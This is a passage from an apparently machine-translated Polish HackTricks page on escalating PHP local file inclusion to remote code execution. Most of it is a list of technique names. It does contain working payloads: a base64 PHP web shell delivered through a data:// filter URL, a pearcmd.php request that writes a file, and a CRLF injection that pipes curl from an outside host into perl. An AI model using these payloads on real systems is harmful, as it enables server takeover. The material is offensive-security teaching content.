http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Za pomocą php filters (plik nie jest potrzebny)

This writeup wyjaśnia, że możesz użyć php filters to generate arbitrary content jako output. Co w zasadzie oznacza, że możesz generate arbitrary php code dla include bez potrzeby zapisu go do pliku.

LFI2RCE via PHP Filters

Przez błąd segmentacji

Upload plik, który zostanie zapisany jako temporary w /tmp, następnie w tym samym żądaniu wywołaj segmentation fault, a wtedy temporary file won’t be deleted i będziesz mógł go wyszukać.

LFI2RCE via Segmentation Fault

Przez przechowywanie plików tymczasowych Nginx

Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE przy użyciu następującej techniki:

LFI2RCE via Nginx temp files

Za pomocą PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start jest Off. Jeśli przekażesz PHP_SESSION_UPLOAD_PROGRESS w danych multipart POST, PHP włączy sesję za Ciebie. Możesz to wykorzystać, aby uzyskać RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Przez przesyłanie plików tymczasowych w Windows

Jeśli znalazłeś Local File Inclusion i serwer działa na Windows, możesz uzyskać RCE:

LFI2RCE Via temp file uploads

Za pomocą pearcmd.php + URL args

Jak wyjaśniono w tym poście, skrypt /usr/local/lib/phppearcmd.php istnieje domyślnie w php docker images. Co więcej, można przekazać argumenty do skryptu przez URL, ponieważ wskazano, że jeśli parametr URL nie ma =, powinien być użyty jako argument. Zobacz także watchTowr’s write-up i Orange Tsai’s “Confusion Attacks”.

Poniższe żądanie tworzy plik w /tmp/hello.php z zawartością <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Poniższe wykorzystuje CRLF vuln do uzyskania RCE (z here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Przez phpinfo() (file_uploads = on)

Jeśli znalazłeś Local File Inclusion i plik ujawniający phpinfo() z file_uploads = on, możesz uzyskać RCE:

LFI2RCE via phpinfo()

Przez compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Jeśli znalazłeś Local File Inclusion i możesz can exfiltrate the path pliku tymczasowego, ALE server jest checking czy file to be included has PHP marks, możesz spróbować bypass that check za pomocą tego Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Przez eternal waiting + bruteforce

Jeśli możesz wykorzystać LFI do upload temporary files i spowodować, że server hang wykonanie PHP, możesz potem brute force filenames during hours, aby znaleźć plik tymczasowy:

LFI2RCE via Eternal waiting

Do Fatal Error

Jeśli dołączysz którykolwiek z plików /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Musisz dołączyć ten sam jeden 2 razy, aby wywołać ten błąd).

Nie wiem, jak to może być przydatne, ale może być.
Nawet jeśli spowodujesz PHP Fatal Error, przesłane pliki tymczasowe PHP i tak są usuwane.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks